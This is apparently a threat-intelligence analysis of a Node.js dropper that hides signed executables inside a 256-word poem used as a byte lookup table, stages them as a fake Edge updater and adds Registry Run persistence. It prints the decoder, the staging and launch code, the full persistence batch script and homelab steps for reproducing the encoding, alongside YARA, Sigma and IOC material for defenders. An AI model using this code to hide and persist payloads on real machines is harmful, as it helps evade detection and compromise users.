typeanalysisfamilyletsdiskusscomconfidencemediumcreated2026-06-13updated2026-06-13scriptnodejsobfuscationevasionjavascript-obfuscatormalware-familyloaderpersistence
SHA-256: d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b

letsdiskusscom: d0ca14b3 — 9.7 MB Node.js dropper with 256-word poem lookup-table steganography and BAT-based registry persistence

Executive Summary

A 9.7 MB Node.js script that encodes four embedded PE payloads (one signed EXE + three signed VC++ runtime DLLs) and a batch persistence script inside a 256-word English poem. At runtime it reconstructs the payloads by mapping poem-word indices to byte values, stages them to a fake Microsoft Edge Updates Helper directory under %ProgramData%, writes a BAT file that adds the EXE to HKCU\Run, then silently executes both. No network activity. The payload is a signed Revo Uninstaller Pro component — the threat is the deceptive delivery vector, not the binary itself. This is the second observed sibling in the letsdiskusscom cluster and introduces a novel poem-word-list-steganography technique not seen in the first sample. ^[file.txt] ^[triage.json]

What It Is

  • File: d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.js (9,722,430 bytes) ^[exiftool.json]
  • Format: JavaScript source, ASCII text, 60 lines with CRLF terminators, extremely long lines (up to 63,365 chars) ^[file.txt]
  • Family: letsdiskusscom (OpenCTI label letsdiskuss-com; now n=2 siblings; confidence medium) ^[triage.json]
  • Dynamic analysis: CAPE skipped — JavaScript source is not a supported binary class for detonation ^[dynamic-analysis.md]

Embedded payloads (decoded from poem-word indices)

Payload SHA-256 Size Type Notes
EXE 8b94af60...7fc55f 52,400 PE32+ x64 console RevoSrp.exe, VS Revo Group, MSVC 14.44, signed (DigiCert) ^[exiftool: exe.exe]
DLL1 0f4290cf...2ccb4 1,187,328 PE32+ x64 DLL msvcp140.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll1.dll]
DLL2 ff43e813...4c833 101,672 PE32+ x64 DLL vcruntime140.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll2.dll]
DLL3 7b8f70dd...6dfc7 44,328 PE32+ x64 DLL vcruntime140_1.dll, Microsoft, MSVC 14.27, signed ^[exiftool: dll3.dll]
BAT dff20059...06919 440 DOS batch Registry Run persistence script ^[manual decode]

All four PE files match the base64-embedded payloads from the first sibling (9dc2cded) exactly by SHA-256. The BAT file is new in this sample. ^[strings.txt:7-11] ^[strings.txt:12-17]

How It Works

Poem-word-list steganography

The script defines a 256-word list (wlist) — an English poem where each word maps to its array index (0-255). The payloads are not base64-encoded; instead they are stored as space-separated sequences of words from the poem. A helper function writePositionsToFile(listA, listB, outPath) splits listA into an array, looks up each word from listB in that array to get its index, masks the index to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt:18-26]

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  });
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

This is a custom, home-grown steganography technique: the payload bytes are hidden inside what appears to be natural-language prose. A casual reader sees poetry; an analyst sees a 256-entry lookup table and five encoded byte streams. The word-list is exactly 256 words (indices 0-255), enabling direct byte-to-word mapping. ^[strings.txt:6]

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper o4Rz8i5zIF8Y`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "o4Rz8i5zIF8Y.bat");
// ... plus three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

The script creates the staging directory, writes all five files, then spawns the BAT with the EXE path as an argument, and immediately spawns the EXE directly. The BAT adds the EXE to the HKCU\Run registry key for persistence. ^[strings.txt:12-17] ^[strings.txt:27-41]

Persistence BAT (decoded)

@echo off
if "%~1"=="" (
    echo Usage: %~nx0 "file_path"
    pause
    exit /b 1
)
if not exist "%~1" (
    echo Error: file "%~1" not found
    pause
    exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
    echo File "%~1" successfully added to startup
) else (
    echo Error adding to startup
)
exit

The BAT is defensive — it validates the argument exists before writing the registry value, and suppresses output with >nul 2>&1. The value name matches the masquerade identity. ^[manual decode of bat payload]

Build differences from sibling 9dc2cded

Feature 9dc2cded (first sibling) d0ca14b3 (this sample)
Encoding Base64-embedded PE blobs in string array 256-word poem lookup-table, word-index-to-byte
Obfuscator javascript-obfuscator self-defend IIFE None observed — raw Node.js with poem strings
Size 1.8 MB 9.7 MB (poem padding inflates carrier)
Persistence None (just spawns EXE) BAT-based reg add HKCU Run
DLL staging 3 DLLs 3 DLLs (same files)
Execution child_process.spawn detached + unref() spawn(..., {shell: true, stdio: 'inherit'})

The shift from base64 to poem-lookup encoding is the defining delta. The 9.7 MB size is almost entirely the poem text and repeated padding; the actual entropy is low because the same 256 words are reused thousands of times. ^[strings.txt] ^[/intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html]

Decompiled Behavior

Not applicable — the sample is JavaScript source, not a compiled binary. No Ghidra or radare2 analysis performed. The entire script is readable after decoding the poem lookup; no additional obfuscation layers were found. ^[rabin2-info.txt] ^[capa.txt]

C2 Infrastructure

None observed. The script is fully self-contained. All payloads are poem-encoded and embedded; no HTTP/HTTPS, DNS, socket, or IP references recovered. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • No javascript-obfuscator this time. Unlike the first sibling, this sample does not use the javascript-obfuscator npm package. The entire script is plain Node.js with the poem strings as the sole obfuscation layer. The operator either abandoned the obfuscator or this is an earlier/parallel build. ^[strings.txt:1-3]
  • The poem is original. It does not match any known public-domain poem by exact phrase search. The author composed 256 words of English verse to serve as the lookup table. This is non-trivial effort for a malware carrier. ^[strings.txt:6]
  • dll4Path is dead code. The script defines const dll4Path = path.join(folder, "o4Rz8i5zIF8Y.bat") but never calls writePositionsToFile with it; the BAT is written to autorunPath instead. A copy-paste error from the DLL staging pattern. ^[strings.txt:17]
  • The EXE is launched twice. First via the BAT (which adds registry persistence), then directly. The BAT's exit at the end means the direct EXE launch runs concurrently. This ensures persistence is established even if the BAT fails. ^[strings.txt:40-41]
  • Signed payload reuse. The embedded EXE and all three DLLs have identical SHA-256 hashes to the first sibling. The operator is reusing the same signed Revo Uninstaller component and runtime dependencies across both samples, changing only the carrier encoding and persistence mechanism. ^[manual hash comparison]
  • No Node.js bundler. There is no package.json, no node_modules, and no portable Node.js runtime embedded. The victim must have Node.js pre-installed, or the script is delivered alongside a Node.js binary in a ZIP/MSI wrapper.

How To Mess With It (Homelab Replication)

Goal: Replicate the poem-word-list encoding technique and verify detection.

  1. Compose a 256-word list (any natural language; a short poem works best).
  2. Encode a file:
    with open('payload.exe', 'rb') as f:
        data = f.read()
    words = poem.split()
    assert len(words) == 256
    encoded = ' '.join(words[b] for b in data)
    
  3. Write the carrier:
    const fs = require('fs');
    const wlist = "...256 words...";
    function decode(listA, listB, outPath) {
      const a = listA.split(' ');
      const b = listB.split(' ');
      const buf = Buffer.from(b.map(w => a.indexOf(w) & 0xFF));
      fs.writeFileSync(outPath, buf);
    }
    decode(wlist, encoded_exe, 'C:\\ProgramData\\Fake\\payload.exe');
    
  4. Detection test: strings carrier.js | grep -c 'gentle' — should return thousands. awk '{print NF}' on the poem string should return exactly 256.

Deployable Signatures

YARA — Node.js poem-word-list dropper

rule NodeJS_PoemWordList_Dropper
{
    meta:
        description = "Node.js dropper using a 256-word natural-language lookup table to encode embedded PE payloads"
        author = "PacketPursuit"
        date = "2026-06-13"
        hash = "d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b"
    strings:
        $a1 = "const fs = require('fs');" ascii
        $a2 = "const path = require('path');" ascii
        $a3 = "const { spawn } = require('child_process');" ascii
        $b1 = "writePositionsToFile" ascii
        $b2 = "Buffer.from(positions.map(p => p & 0xFF))" ascii
        $b3 = "fs.writeFileSync(outPath, buffer)" ascii
        $c1 = "Microsoft Edge Updates Helper" ascii
        $c2 = "PROGRAMDATA" ascii
        $c3 = "reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"" ascii
        $pe_hdr = { 4D 5A }
    condition:
        filesize > 1MB and filesize < 20MB and
        2 of ($a*) and
        2 of ($b*) and
        1 of ($c*) and
        $pe_hdr
}

Sigma — BAT-based registry persistence after Node.js file drop

title: Node.js Dropper Registry Persistence
logsource:
    product: windows
    category: process_creation
detection:
    selection_node:
        Image|endswith: '\node.exe'
        CommandLine|contains:
            - 'Microsoft Edge Updates Helper'
            - 'writePositionsToFile'
    selection_reg:
        Image|endswith: '\reg.exe'
        CommandLine|contains:
            - 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
            - 'Microsoft Edge Updates Helper'
    condition: selection_node and selection_reg
falsepositives:
    - Unknown
level: high

IOC list

Indicator Value Type
SHA-256 (carrier) d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b Hash
SHA-256 (embedded EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f Hash
SHA-256 (embedded MSVCP140) 0f4290cf1af4edd875237358dcab31de8fed18cbc5e9b2e630e702fb0b82ccb4 Hash
Install path C:\ProgramData\Microsoft Edge Updates Helper o4Rz8i5zIF8Y\ Path
Dropped EXE name Microsoft Edge Updates Helper.exe Filename
Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper Registry
BAT file o4Rz8i5zIF8Y.bat Filename
Node.js API writePositionsToFile JS function

Behavioral fingerprint

On execution, a Node.js process creates a directory under %ProgramData% with a name mimicking a browser update helper, writes five files (one EXE, three DLLs, one BAT), then spawns the BAT with the EXE path as argument. The BAT adds the EXE to HKCU\Run under the same masquerade name. Immediately after, the Node.js process spawns the EXE directly. No network connections are initiated by the carrier. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by node.exe, followed by reg.exe adding a Run key pointing to that directory, followed by child process creation of the EXE.

Detection Signatures

MITRE ATT&CK Technique Evidence
T1059.007 Command and Scripting Interpreter: JavaScript Node.js script execution, require('child_process') ^[strings.txt:1-3]
T1027.002 Obfuscated Files or Information: Software Packing Poem-word-list lookup-table encoding hides PE payloads inside natural-language text ^[strings.txt:6]
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys BAT file writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run via reg add ^[manual decode of bat payload]
T1036.005 Masquerading: Match Legitimate Name or Location Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:5]
T1204.002 User Execution: Malicious File Requires victim to run .js file (delivery vector unknown)

References

  • MalwareBazaar artifact: d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b
  • OpenCTI label: letsdiskuss-com
  • Sibling analysis: /intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html
  • Related wiki: letsdiskusscom — entity page for this family/cluster
  • Related wiki: poem-word-list-steganography — technique page for the encoding method
  • Related wiki: natural-language-payload-encoding — concept page for prose-based payload hiding
  • Related wiki: registry-run-persistence — procedure page for the BAT-based Run key technique

Provenance

Analysis derived from:

  • file.txt — file type identification
  • exiftool.json — metadata extraction
  • triage.json — triage pipeline classification
  • strings.txt — raw strings extraction (line-referenced)
  • floss.txt — FireEye floss (errored: JS input unsupported)
  • capa.txt — Mandiant capa (errored: unsupported file format)
  • binwalk.txt — no meaningful signatures
  • rabin2-info.txt — radare2 header summary (bits=0, no code)
  • dynamic-analysis.md — CAPE sandbox skipped (JS source not supported)
  • Manual poem-word-list decoding via Python script
  • Manual PE verification via exiftool and sha256sum

Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.